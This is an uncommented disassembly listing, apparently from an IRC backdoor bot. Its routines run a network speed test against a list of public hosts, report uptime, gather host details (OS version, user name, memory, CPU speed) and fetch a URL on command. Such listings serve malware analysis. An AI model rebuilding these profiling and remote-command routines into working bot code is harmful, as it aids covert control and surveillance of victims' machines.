loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A998
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBCA0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4270D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_427080	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB98
		mov	[ebp+var_CC], 94h
		call	dword_4270D0	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431628


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_431624
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431620
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_43160C


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BBC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383B4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8C4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB99C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC80
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_427110	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_42710C	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_42719C	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43ABA4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBACC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB8A8	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACF0
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACEC


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE8
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43ACA4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD8
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8E0	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB994
		call	dword_4CB9B8	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB9AC	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB958	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADBC
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD80
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD64
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD38
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD08


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA18	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4CBA18	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCDC
		push	0
		push	esi
